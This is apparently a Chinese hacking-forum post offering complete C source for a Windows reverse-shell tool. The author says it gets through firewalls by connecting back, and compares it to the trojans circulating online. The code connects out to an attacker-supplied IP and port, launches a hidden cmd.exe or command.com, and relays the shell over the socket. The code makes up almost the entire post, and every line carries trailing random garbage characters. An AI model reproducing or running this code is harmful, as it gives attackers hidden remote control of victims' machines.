这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .M04n\
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/* ============================== LaRY#9
Rebound port in Windows NT x@yF|8
By wind,2006/7 Zi^&x6y^
===============================*/ gqE{
#include @l 1 piz8
#include K:mb$YJ&
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#pragma comment(lib,"wsock32.lib") b1-JnEc
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void OutputShell(); JVRK\A|R
SOCKET sClient; 6u7>S?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nCt:n}+C7
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void main(int argc,char **argv) pl5!Ih6
{ M*nfWQ
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WSADATA stWsaData; dI3U*:$X
int nRet; dLLF#N
SOCKADDR_IN stSaiClient,stSaiServer; )!'SSVaRs
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if(argc != 3) bV}43zI.
{ vI4St;
printf("Useage:\n\rRebound DestIP DestPort\n"); t ;(kSg.
return; wJip{
} {{j?3O //
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2s~X
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0e&Vvl4DK
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stSaiClient.sin_family = AF_INET; S~hNSw(-
stSaiClient.sin_port = htons(0); -[Q%Vv!8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &q>=6sQvf
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rk `x81
{ +h"RXwlBM
printf("Bind Socket Failed!\n"); |dK_^~;o
return; 't]=ps
} ,JX/`7y
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stSaiServer.sin_family = AF_INET; SBs_rhe
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C,.$g>)MZK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t\X5B ]EZ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r/SV.`
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{ Ji gc@@B.
printf("Connect Error!"); .M!HVq47m
return; d
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} R["_Mff
OutputShell(); ^8-CUH\
} s-[ _%
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void OutputShell() =JY9K0S~
{ J"# o #~
char szBuff[1024]; &jr'vS[b
SECURITY_ATTRIBUTES stSecurityAttributes; 8sLp! O;f2
OSVERSIONINFO stOsversionInfo; b+,u_$@B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qhc3 oRe
STARTUPINFO stStartupInfo; wpO-cJ!,
char *szShell; 46Vx)xX
PROCESS_INFORMATION stProcessInformation; YQLp#
unsigned long lBytesRead; (=,p"3^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I8rtta
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4fgA3%
stSecurityAttributes.lpSecurityDescriptor = 0; yc?+L;fN
stSecurityAttributes.bInheritHandle = TRUE; C[z5&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hn+w1v&3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rfku]A$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dX?8@uzu
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q)#+S(TG
stStartupInfo.wShowWindow = SW_HIDE; 8wMu^3r
stStartupInfo.hStdInput = hReadPipe; &N.D!7X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u6j\@U6 I
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GetVersionEx(&stOsversionInfo); A@^Y2:pY
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switch(stOsversionInfo.dwPlatformId) -AWL :<
{ i{vM NI{
case 1: .-Yhpw>f
szShell = "command.com"; v47Y7s:uQ
break; B_$hi=?TTd
default: &z8I@^<
szShell = "cmd.exe"; W6:ei.d+NS
break; 80DcM9^t8
} S2T~7-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n$&xVaF|
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send(sClient,szMsg,77,0); R9%Um6
while(1) (pJ-_w'G
{ )%FRBO]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C7:;<<"P
if(lBytesRead) dz3chy,3
{ XpFW(v
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;n0VF77>O
send(sClient,szBuff,lBytesRead,0); h2<Y*j
} JL.noV3q$
else =wE1j
{ '[V}]Z>-
lBytesRead=recv(sClient,szBuff,1024,0); x=s=~cu4,
if(lBytesRead<=0) break; 5F&xU$$a-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8$4@U;Vh;
} ?(rJ
} SFP%UfM<